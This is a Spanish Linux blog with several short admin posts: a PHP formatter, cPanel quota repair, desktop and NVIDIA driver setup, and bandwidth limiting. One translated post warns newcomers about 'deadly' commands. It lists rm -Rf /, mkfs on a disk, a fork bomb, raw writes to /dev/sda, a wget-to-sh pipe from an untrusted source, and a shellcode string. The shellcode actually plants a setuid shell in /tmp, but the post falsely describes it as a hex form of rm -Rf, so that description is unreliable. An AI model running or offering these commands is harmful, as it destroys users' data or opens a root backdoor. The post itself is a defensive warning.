Dec172009

PHP_Beautifier Formateador de codigo

Hola, como va gente, después de tanto tiempo vuelvo a postear, acá les dejo una aplicación bastante linda que lo que hace es formatear código php dejándolo bonito, es decir vos pones un código php mal indentado, espacios y saltos de línea de mas, y lo pasas por el script y el código queda BONITO.

El sitio es: http://pear.php.net/package/PHP_Beautifier

El link de descarga es: http://download.pear.php.net/package/PHP_Beautifier-0.1.14.tgz

Para instalar: pear install –alldeps –force PHP_Beautifier

Y ahora simplemente cuando queremos usarlo escribimos:
php_beautifier codigo_feo.php codigo_bonito.php

y ya, acá les dejo un ejemplo:

Click para agrandar

Click para agrandar

Espero que les sirva.

Saludos Daniel.

Aug232009

Arreglar problema de QUOTAS en CPANEL

Bueno ahora posteo algo relacionado con un nuevo emprendimiento, acabo de instalar cpanel en un server bajo centos, el problema que tenia es que no me dejaba “setear” las quotas de disco para las distintas cuentas, bueno he estado buscando y preguntando en distintos foros, la solución es ejecutar como root: “/scripts/fixquotas”

[root@yoha daniel]# /scripts/fixquotas

Luego saldrá algo como esto:

Installing Default Quota Databases…../home/aquota.user…./home/quota.user….

/tmp/aquota.user…./tmp/quota.user…./var/tmp/aquota.user…./var/tmp/quota.user…..Done

Warning virtual file systems are mounted.  Quota’s may be counted as double for  users who are currently logged in.  Please have jailshell users logout before ru nning quotacheck in the future! All jailed users will be logged out in 60 seconds!

Broadcast message from root (Sun Aug 23 12:50:39 2009):

Warning!  The system is about to perform quota maintenance.  All users will be logged out in 60 seconds.  PLEASE Do not log back in for 30 minutes, or you may inadvertantly disable your account.

jailshell: no process killed

Quotas are now on

/dev/md2 (add)

Updating Quota Files……

quotacheck: Scanning /dev/md2 [/home] quotacheck: Old group file not found. Usage will not be substracted.

quotacheck: Checked 9305 directories and 54108 files done

quotacheck: Scanning /dev/md2 [/home] quotacheck: Old group file not found. Usage will not be substracted.

quotacheck: Checked 9305 directories and 54108 files done

….Done

Resetting quota for apofisho to 0 M

Resetting quota for dagsoft to 500 M

Y listo, entramos a WHM y ya todas las cuentas deberían tener su respectiva cuota.

Saludos DAG

GRACIAS A LA GENTE DE COMUNIDADHOSTING.COM

Apr252009

“EL REGRESO” xD

Hola gente, ¿Cómo va? Ja, hace años que no posteo  :p pido disculpas pero he estado ocupado en distintos proyectos y planeando y organizando nuevo, aprendiendo nuevas cosas, etc.. Es más son las 7.11 am. del sábado y aun ni siquiera me he acostado aun, es más pido disculpa por los errores y la redacción pero a esta hora lo que hay :p.

Bueno voy  a contar un poco, uno de los nuevos proyectos que encare es IRCAdictos, un server IRC, montado con unrealircd, la idea surgió ya que uno de mis amigos y clientes  de shells, dueño de la red IRChile.com, me comento que buscaba hacer una red global, no solo orientada a chile, sino también al resto de países, y bueno ahí decidí apoyar el proyecto, aportando mi nodo en el server, irc.ircadictos.com.

También estoy aprendiendo java en netbeans, decidí crearme un sistemita para poder administrar clientes (altas/bajas/modificaciones), ventas, y productos ofrecidos (una forma de organizar los planes un poco, y de paso poder consultar los precios más fáciles).

Es mas ayer cuando fui a la facultad a preguntar sobre unos temas de java a Juan, el coordinador de la carrera Sistemas de la UTN FRVM, me comento que había pasantías de PROGRAMACION EN PARALELO, y ahí se relaciona con el tema de clústeres así que también me anote. Es más comenzare a documentar esos temas acá en el blog.
Para los que no saben que es un cluster:

El término cluster se aplica a los conjuntos o conglomerados de computadoras construidos mediante la utilización de componentes de hardware comunes y que se comportan como si fuesen una única computadora. Hoy en día juegan un papel importante en la solución de problemas de las ciencias, las ingenierías y del comercio moderno.
La tecnología de clusters ha evolucionado en apoyo de actividades que van desde aplicaciones de supercómputo y software de misiones críticas, servidores Web y comercio electrónico, hasta bases de datos de alto rendimiento, entre otros usos.
El cómputo con clusters surge como resultado de la convergencia de varias tendencias actuales que incluyen la disponibilidad de microprocesadores económicos de alto rendimiento y redes de alta velocidad, el desarrollo de herramientas de software para cómputo distribuido de alto rendimiento, así como la creciente necesidad de potencia computacional para aplicaciones que la requieran.
Simplemente, cluster es un grupo de múltiples ordenadores unidos mediante una red de alta velocidad, de tal forma que el conjunto es visto como un único ordenador, más potente que los comunes de escritorio.
Clusters son usualmente empleados para mejorar el rendimiento y/o la disponibilidad por encima de la que es provista por un solo computador típicamente siendo más económico que computadores individuales de rapidez y disponibilidad comparables.
De un cluster se espera que presente combinaciones de los siguientes servicios:
1. Alto rendimiento   2. Alta disponibilidad
3. Equilibrio de carga    4. Escalabilidad
La construcción de los ordenadores del cluster es más fácil y económica debido a su flexibilidad: pueden tener todos la misma configuración de hardware y sistema operativo (cluster homogéneo), diferente rendimiento pero con arquitecturas y sistemas operativos similares (cluster semi-homogéneo), o tener diferente hardware y sistema operativo (cluster heterogéneo), lo que hace más fácil y económica su construcción.
Para que un cluster funcione como tal, no basta solo con conectar entre sí los ordenadores, sino que es necesario proveer un sistema de manejo del cluster, el cual se encargue de interactuar con el usuario y los procesos que corren en él para optimizar el funcionamiento.
Extraido de wiki http://es.wikipedia.org/wiki/Cluster_de_computadores

Bueno también comenzare a colaborar con la distribución mexicana IKIM GNU/LINUX, ayudare con el tema del sitio web, esta noche he estado renegando un largo rato con plone y zope, es mas logre instalarlo pero aun no ha quedado como quiero, asi que cuando lo logre también subiré un tutorial al blog de cómo instalarlo

Bueno ya es tarde y tengo que terminar esta web http://www.cas-consultoria.com/ si quieren dejen comentarios de que les pareció.

Bueno esto es todo por hoy, perdonen por el abandono prometo tenerlo más actualizado al blog.

Saludos dag

Mar162009

7 comandos mortales en Linux

img30

Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:( ){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

Feb222009

COMO HACER UNA INSTALACION BASICA DE GNOME/KDE+DRIVER NVIDIA

Hola, Como andan? Tanto tiempo nuevamente, aquí dejo un tutorial a pedido de Azk, sobre cómo hacer una instalación mínima de gnome/kde, y  ya que estoy anexare también como instalar drivers de una placa de video NVIDIA.
Antes que nada, debemos ejecutar los siguientes comandos los cuales actualizaran, instalamos build-essential, y por ultimo las cabezera de tu kernel:

yoha:/home/daniel# apt-get update
yoha:/home/daniel# apt-get install build-essential
yoha:/home/daniel# apt-get install linux-headers-`uname -r`

Una vez que hicimos esto procedemos a instalar el servidor X, como root instalamos el paquete xorg y xserver-xorg:

yoha:/home/daniel# apt-get install x-window-system-core

Ahora instalamos los componentes te freedesktop.org , para ello:

yoha:/home/daniel# apt -get install hal dbus shared-mime-info desktop-file-utils

Por último instalamos gnome o kde de la siguiente manera:

Para gnome:
yoha:/home/daniel# apt-get install gdm gnome-core
Para kde:
yoha:/home/daniel# apt-get install kdm kde-core

Ya podemos disfrutar de nuestro entorno preferido ejecutando

Para gnome:
yoha:/home/daniel# /etc/init.d/gdm start
Para kde:
yoha:/home/daniel# /etc/init.d/kdm start

Bueno ahora instalaremos los drivers de nvidia en mi caso es una tarjeta: “NVIDIA GeForce Go 6150”

Para ello descargamos el driver de la página de nvida, en mi caso es este: http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

daniel@yoha:~$ wget http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

Una vez descargado, lo ejecutamos como root:

yoha:/home/daniel# sh NVIDIA-Linux-x86-180.29-pkg1.run

Y seguimos los pasos del asistente.

Nota: Recuerda que para instalar los drivers, debes antes ejecutar como root: “/etc/init.d/kdm stop” o en caso de gnome: “/etc/init.d/gdm stop”.

A mí me anduvo de una, pero si queres personalizar la configuración de las x podes utilizar el comando “dpkg-reconfigure xserver-xorg” (recuerda que las x deben estar cerradas).
Cualquier duda consúltenlo en el foro o por comentario.
Saludos
Pd: Quiero agradecerle a miguex, ya que me dio un par de tips para que el tutorial quedara mas optimo.

Jan182009

Administrando el ancho de banda con Trickle

Trickle se encarga de limitar el uso de ancho de banda de “subida” y “bajada” de una aplicación que le especifiquemos.

Instalacion por apt. “sudo apt-get install trickle”

probando:

Ejemplo 1:

trickle -u 5 -d 12 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 5 Kbps de “subida” y 12 Kbps de “bajada”, la ventaja es que trickle puede ser invocado tanto por usuarios como por root.

Ejemplo 2:

trickle -d 50 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 50 Kbps de “bajada”,

Mas Información: Trickle http://monkey.org/~marius/pages/?page=trickle

Fuente

Dec272008

Ikim Linux Distribucion Mexicana Liberada

Nos honra dar la noticia de que el dia de ayer 24 de diciembre fue liberada la primera version de ikim linux. Ikim Linux es una distribucion Mexicana esta creada desde cero y tiene mas de un año de desarrollo. Parte del staff de Debian Mexico colaboro con el desarrollo de este sistema operativo y actualmente quien dirige el todo el proyecto y desarrollo es nuestro compañero y amigo Miguel Angel o mejor conocido como Miguex en Debian Mexico, uno de nuestros adminisradores con sin duda un alto potencial en cuestiones de sistemas unix.

Ikim nace como una iniciativa para desarrollar un sistema operativo del tipo GNU/Linux enfocado principalmente a funcionar en equipos de bajos recursos fomentando asi la reutilizacion de hadware en desuso.

Ikim Linux es un gran y novedoso sistema que hay que probar debido a su calidad de paquetes y su buen desarrollo Debian Mexico fomenta el uso de este flamante sistema.

Invitamos a toda nuestra comunidad y lectores para que prueben este sistema operativo y nos den sus opiones y puntos de vista que es lo mas importante.

Sitio: http://www.ikimlinux.net/

Fuente

Dec252008

¡FELICES FIESTAS!

EN ESTAS FIESTAS LES DESEO

untitled

Dec222008

how to: install Amarok 2 Debian GNU/Linux

Amarok un bonito reproductor  de kde. Primero necesitas tener tus repos de  DebianExperimental, /etc/apt/sources.list

deb ftp://ftp.debian.org/debian experimental main

Ya sea por repo o por AptPinning, después de esto ya podemos instalar el Amarok 2 stable release, Packages are known to work only on i386 and amd64 at the moment.

eva:/home/bucio# apt-get update
eva:/home/bucio# aptitude -t experimental install amarok

Después de esto configuramos al gusto nuestro amarok2..

pantallazo-35

Fuente

Dec142008

sMovieDB: gestiona tu colección de películas en KDE

Acá les dejo información del programa creado por mi amigo victor :D

sMovieDB es una aplicación para gestionar tu colección de películas y poder consultarla fácilmente. Funciona sobre GNU/Linux y está integrada en el escritorio KDE. Se trata de un gran almacén de títulos y datos de películas que permite mantener una colección bien ordenada y poder consultarla de una forma rápida y sencilla.

Todos los usuarios que van almacenando gigas y gigas de videos en sus discos duros han pensado en alguna ocasión que quizá sería interesante mantener un índice de la colección completa para facilitar la tarea de consultar títulos o datos sobre una película. sMovieDB permite añadir nuevos títulos junto con sus géneros, tipos, formatos, valoración y comentarios. Por supuesto, todos esos campos pueden usarse después para buscar películas en la colección eficientemente.

Su creador es Víctor J. Chamorro y actualmente está todavía en fase beta, aunque el ritmo de desarrollo es muy alto y Víctor promete seguir mejorándolo y añadiendo nuevas funcionalidades, como la ordenación dinámica de las columnas, soporte para añadir carteles o carátulas a las películas, traducción a varios idiomas…

Sitio del proyecto

Fuente del articulo